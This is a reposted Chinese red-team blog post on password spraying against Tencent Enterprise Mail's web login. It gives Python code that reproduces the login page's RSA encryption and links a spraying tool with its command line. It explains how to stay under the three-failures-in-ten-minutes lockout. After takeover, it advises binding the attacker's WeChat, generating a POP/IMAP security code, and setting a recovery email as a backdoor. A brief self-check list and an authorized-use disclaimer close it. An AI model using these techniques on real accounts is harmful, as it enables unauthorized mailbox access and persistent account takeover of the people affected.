HW红队 | 某企业邮箱渗透面之密码喷洒
2022-8-25 12:35:42 Author: 白帽子左一(查看原文) 阅读量:53 收藏

扫码领资料

获黑客教程

免费&进群

作者:tu

原文地址:https://xz.aliyun.com/t/11529

网络漏洞打点越来越难,最近整起了邮箱钓鱼,自建MX Server搭配GoFish可以满足大部分,提前养好域名也能投递到目标非垃圾箱邮箱

但是有一个内部邮箱才是一个神挡杀神的存在,分析了腾讯企业邮箱的登录逻辑,企业邮箱对POP3和SMTP的登录做了限制

只有绑定了微信登录并且开启了安全码(16位数字加大小写字母)才允许通过995、465端口进行认证登录,16位随机字符串基本排除爆破的可能。

因此研究了前端web的登录逻辑,简单写了个单线程密码喷洒的脚本,自测效果还不错(尤其是内网DMZ打完。密码收集完,突破到办公系统)。

TX企业邮箱Web端登录前台会对传入的数据进行RSA加密,加密代码

var PublicKey = "CF87D7B4C864F4842F1D337491A48FFF54B73A17300E8E42FA365420393AC0346AE55D8AFAD975DFA175FAF0106CBA81AF1DDE4ACEC284DAC6ED9A0D8FEB1CC070733C58213EFFED46529C54CEA06D774E3CC7E073346AEBD6C66FC973F299EB74738E400B22B1E7CDC54E71AED059D228DFEB5B29C530FF341502AE56DDCFE9";var RSA = new RSAKey();RSA.setPublic(PublicKey, "10001");var PublicTs="1657285628";var Res = RSA.encrypt(document.form1.pp.value + '\n' + document.form1.ts.value + '\n');if (Res ){if (document.form1.chg.value == 1){document.form1.p.value = hex2b64(Res);}else{if (document.form1.ppp.value != ""){document.form1.p.value = document.form1.ppp.value;}else{document.form1.p.value = hex2b64(Res);}}

这个PublicKey是rsa的模量,10001是指数,可以使用模量和指数生成公钥,然后利用公钥进行加密,python2和python3两个版本的实现方法,这里统一留存下

python2

import sysfrom binascii import a2b_hex, b2a_hexfrom Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_v1_5from Crypto.Util.number import bytes_to_longdef encrypt_with_modulus(content, modulus=None):
e = long(0x10001)
n = bytes_to_long(a2b_hex(modulus))
rsa_key = RSA.construct((n, e))
# generate/export public key
public_key = rsa_key.publickey()
print(dir(public_key))
print(dir(public_key.exportKey))
print(public_key.exportKey.im_self)

cipher = PKCS1_v1_5.new(public_key)
# print(dir(cipher))
content = cipher.encrypt(content)
content = b2a_hex(content)
return str(content)result = encrypt_with_modulus("123456\n1657284648\n","CF87D7B4C864F4842F1D337491A48FFF54B73A17300E8E42FA365420393AC0346AE55D8AFAD975DFA175FAF0106CBA81AF1DDE4ACEC284DAC6ED9A0D8FEB1CC070733C58213EFFED46529C54CEA06D774E3CC7E073346AEBD6C66FC973F299EB74738E400B22B1E7CDC54E71AED059D228DFEB5B29C530FF341502AE56DDCFE9")print(result)

python3

def encrypt_with_modulus(e,n,content):
""" 根据 模量与指数 生成公钥,并利用公钥对内容 rsa 加密返回结果 :param e:指数 :param m: 模量 :param content:待加密字符串 :return: 加密后结果 """
e = int(e, 16)
m = int(n, 16)

pub_key = rsa.PublicKey(e=e, n=n)
m = rsa.encrypt(content.encode(),pub_key)
print(m.hex())
return m.hex()if __name__ == '__main__':
m = "CF87D7B4C864F4842F1D337491A48FFF54B73A17300E8E42FA365420393AC0346AE55D8AFAD975DFA175FAF0106CBA81AF1DDE4ACEC284DAC6ED9A0D8FEB1CC070733C58213EFFED46529C54CEA06D774E3CC7E073346AEBD6C66FC973F299EB74738E400B22B1E7CDC54E71AED059D228DFEB5B29C530FF341502AE56DDCFE9"
e = "10001"
con = '123456\n1657284648\n'

encrypt_with_modulus(e=e, m=m, content=con)

WEB端对passwd\ntimestamp\n这个串进行RSA加密,企业邮对同一账户的登录次数做了限制,大概测了下,10分钟内错误三次就会触发验证码机制,所以在收集到目标准确密码本之后,可以邮箱进行密码喷洒。

地址:

https://github.com/R1card0-tutu/MailDOG

命令:

python3 MailDOG.py --domain="exmail.qq.com" --mailadd="main.txt" --passwd="[email protected]" run

在拿到邮箱之后

01 绑定微信

如果目标账号没有绑定微信,可以直接扫码绑定微信,没有二次验证

02 安全码

生成16位安全码,可以使用POP和IMAP进行收发信操作。注意端口号,失败可以尝试下SSL端口。

03 密保邮箱

上面两个操作基本就是一锤子买卖,用完账号基本也就凉了。当目标没有绑定手机号时,可以在账户 > 账户安全 > 设置密保邮箱,作为一个后门留存。

  • 自查邮箱账户的0x03的三项。

  • 排查用户的常见口令

[email protected]
目标域名@年份
目标域名#年份
[email protected]
Passw0rd1
[email protected]

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@
学习更多渗透技能!体验靶场实战练习

hack视频资料及工具

(部分展示)

往期推荐

【精选】SRC快速入门+上分小秘籍+实战指南

爬取免费代理,拥有自己的代理池

漏洞挖掘|密码找回中的套路

渗透测试岗位面试题(重点:渗透思路)

漏洞挖掘 | 通用型漏洞挖掘思路技巧

干货|列了几种均能过安全狗的方法!

一名大学生的黑客成长史到入狱的自述

攻防演练|红队手段之将蓝队逼到关站!

巧用FOFA挖到你的第一个漏洞

看到这里了,点个“赞”、“再看”吧

文章来源: http://mp.weixin.qq.com/s?__biz=MzI4NTcxMjQ1MA==&mid=2247575446&idx=1&sn=c3c6dbf08f02832d28f972dbeb923ffb&chksm=ebebeebbdc9c67ad8dd7db9f5f67ff9e152d6a7e4e3f18dff74ef59bfdb7b864206fd4e054d5#rd
如有侵权请联系:admin#unsafe.sh